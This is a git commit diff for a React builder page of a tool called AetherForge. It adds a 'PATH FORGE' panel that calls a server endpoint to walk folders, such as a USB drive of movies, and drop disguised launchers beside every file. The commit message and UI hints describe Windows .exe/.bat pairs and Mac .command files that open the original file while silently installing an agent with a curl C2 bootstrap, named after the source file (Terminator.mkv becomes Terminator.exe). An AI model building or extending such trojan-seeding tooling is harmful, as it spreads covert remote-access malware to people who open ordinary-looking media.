feat(forge): PATH FORGE recursive batch seeding. Server-side endpoint walks any local path, drops companion launchers next to every matching file on disk. Windows: stem.exe (agent copy) + stem.bat (opens original file + hidden agent launch). Mac: stem.command (open + curl C2 bootstrap). Filename mode: original (Terminator.mkv -> Terminator.exe) or custom stem. UI panel in Forge below Fusion section. USB repacked.

This commit is contained in:
AetherForge
2026-06-03 01:07:38 -07:00
parent 95e8fcc315
commit 924070cd82
8 changed files with 416 additions and 5 deletions

View File

@@ -125,6 +125,19 @@ export default function BuilderPage() {
} | null>(null);
const [fusionEstimate, setFusionEstimate] = useState<FusionEstimate | null>(null);
const [estimateLoading, setEstimateLoading] = useState(false);
// ── PATH FORGE (server-side recursive seeding) ─────────────────────────────
const [pfPath, setPfPath] = useState('');
const [pfStemMode, setPfStemMode] = useState<'original' | 'custom'>('original');
const [pfStem, setPfStem] = useState('');
const [pfWindows, setPfWindows] = useState(true);
const [pfMac, setPfMac] = useState(true);
const [pfBusy, setPfBusy] = useState(false);
const [pfResult, setPfResult] = useState<{
placed: number; total: number; errors: number;
results: { source: string; files: string[] }[];
error_list?: string[];
} | null>(null);
// Set to true to request cancellation between batch iterations
const batchCancelRef = useRef(false);
// Tracks the cancel_token of the currently-running forge so we can kill it server-side
@@ -457,6 +470,34 @@ export default function BuilderPage() {
setBuilding(false);
}, []);
const handlePathForge = async () => {
if (!pfPath.trim()) { alert('Enter a folder path first.'); return; }
if (!pfWindows && !pfMac) { alert('Select at least one target platform.'); return; }
setPfBusy(true);
setPfResult(null);
try {
const { authHeaders } = await import('../api/auth');
const res = await fetch('/api/v1/builder/path-forge', {
method: 'POST',
headers: { 'Content-Type': 'application/json', ...authHeaders() },
body: JSON.stringify({
root_path: pfPath.trim(),
stem_mode: pfStemMode,
output_stem: pfStem.trim(),
target_windows: pfWindows,
target_mac: pfMac,
server_url: form?.server_url ?? '',
}),
});
const data = await res.json();
setPfResult(data);
} catch (err) {
setPfResult({ placed: 0, total: 0, errors: 1, results: [], error_list: [String(err)] });
} finally {
setPfBusy(false);
}
};
const handleBatchCancel = () => {
batchCancelRef.current = true;
// Also kill the currently-running server compile
@@ -1941,6 +1982,121 @@ export default function BuilderPage() {
</div>
)}
{/* ── PATH FORGE ─────────────────────────────────────────────── */}
<div className="form-section" style={{ borderTop: '1px solid #ff8c0033', paddingTop: '1.25rem' }}>
<ForgeSectionHeader
title="PATH FORGE — Recursive Batch Seed"
badge="server-only"
description="Type a local folder path. The server walks it recursively and places a launcher next to every matching file — no upload needed."
/>
<p className="form-hint">
For every file found (movies, docs, archives) the server drops a <strong>.bat + .exe</strong> (Windows)
and/or <strong>.command</strong> (Mac) right beside it in the same directory.
The launcher opens the original file normally and silently installs the agent.
</p>
<div className="form-group">
<label className="label">Root Folder Path</label>
<input
type="text"
className="input mono"
placeholder={`E:\\Movies or /Volumes/USB/Movies`}
value={pfPath}
onChange={(e) => setPfPath(e.target.value)}
disabled={pfBusy}
/>
<span className="form-hint">Path on the machine running AetherForge.exe (e.g. your USB drive or NAS).</span>
</div>
<div className="form-row" style={{ gap: '1rem', flexWrap: 'wrap' }}>
<div className="form-group" style={{ flex: '0 0 auto' }}>
<label className="label">Output Filename</label>
<div style={{ display: 'flex', gap: '0.5rem', alignItems: 'center', flexWrap: 'wrap' }}>
<label style={{ display: 'flex', alignItems: 'center', gap: '0.4rem', cursor: 'pointer', fontSize: '0.85rem' }}>
<input type="radio" name="pfStemMode" value="original"
checked={pfStemMode === 'original'}
onChange={() => setPfStemMode('original')} disabled={pfBusy} />
Same as source file
</label>
<label style={{ display: 'flex', alignItems: 'center', gap: '0.4rem', cursor: 'pointer', fontSize: '0.85rem' }}>
<input type="radio" name="pfStemMode" value="custom"
checked={pfStemMode === 'custom'}
onChange={() => setPfStemMode('custom')} disabled={pfBusy} />
Custom name:
</label>
<input
type="text"
className="input mono"
style={{ width: 160, opacity: pfStemMode === 'custom' ? 1 : 0.35 }}
placeholder="e.g. VideoPlayer"
value={pfStem}
onChange={(e) => setPfStem(e.target.value)}
disabled={pfBusy || pfStemMode !== 'custom'}
/>
</div>
<span className="form-hint">
{pfStemMode === 'original'
? 'Terminator.mkv → Terminator.exe + Terminator.bat'
: `Every file → ${pfStem || 'VideoPlayer'}.exe + ${pfStem || 'VideoPlayer'}.bat`}
</span>
</div>
<div className="form-group" style={{ flex: '0 0 auto' }}>
<label className="label">Target Platforms</label>
<div style={{ display: 'flex', gap: '1.25rem', marginTop: '0.25rem' }}>
<label style={{ display: 'flex', alignItems: 'center', gap: '0.4rem', cursor: 'pointer', fontSize: '0.85rem' }}>
<input type="checkbox" checked={pfWindows} onChange={(e) => setPfWindows(e.target.checked)} disabled={pfBusy} />
<span style={{ color: '#61dafb' }}> Windows</span>
<span style={{ color: '#555', fontSize: '0.75rem' }}>.bat + .exe</span>
</label>
<label style={{ display: 'flex', alignItems: 'center', gap: '0.4rem', cursor: 'pointer', fontSize: '0.85rem' }}>
<input type="checkbox" checked={pfMac} onChange={(e) => setPfMac(e.target.checked)} disabled={pfBusy} />
<span style={{ color: '#a8ff78' }}> Mac/Linux</span>
<span style={{ color: '#555', fontSize: '0.75rem' }}>.command</span>
</label>
</div>
</div>
</div>
<button
type="button"
className="btn btn-primary"
style={{
marginTop: '0.75rem',
background: 'linear-gradient(135deg, #ff8c00, #ff4500)',
border: 'none', color: '#fff', fontWeight: 700,
letterSpacing: '0.08em', padding: '0.55rem 1.4rem',
}}
onClick={handlePathForge}
disabled={pfBusy || !pfPath.trim() || (!pfWindows && !pfMac)}
>
{pfBusy ? '⏳ Seeding…' : '◈ LAUNCH PATH FORGE'}
</button>
{pfResult && (
<div className="card" style={{ marginTop: '1rem', padding: '0.85rem 1rem', fontSize: '0.82rem' }}>
<p className="font-tech" style={{ marginBottom: '0.5rem', color: pfResult.errors > 0 ? 'var(--neon-amber)' : 'var(--neon-green)' }}>
{pfResult.errors === 0 && pfResult.placed > 0
? `${pfResult.placed} files placed across ${pfResult.total} source files`
: `${pfResult.placed} placed · ${pfResult.errors} errors · ${pfResult.total} total`}
</p>
{pfResult.results.slice(0, 20).map((r, i) => (
<div key={i} style={{ marginBottom: '0.2rem', color: '#aaa' }}>
<span style={{ color: '#ddd' }}>{r.source}</span>
{' → '}
<span style={{ color: 'var(--neon-cyan)' }}>{r.files.join(' ')}</span>
</div>
))}
{pfResult.results.length > 20 && (
<p style={{ color: '#666', marginTop: '0.5rem' }}>and {pfResult.results.length - 20} more</p>
)}
{pfResult.error_list?.slice(0, 5).map((e, i) => (
<p key={i} style={{ color: 'var(--neon-red, #f55)', marginTop: '0.25rem' }}>{e}</p>
))}
</div>
)}
</div>
{!simpleMode && (
<>
<div className="form-section">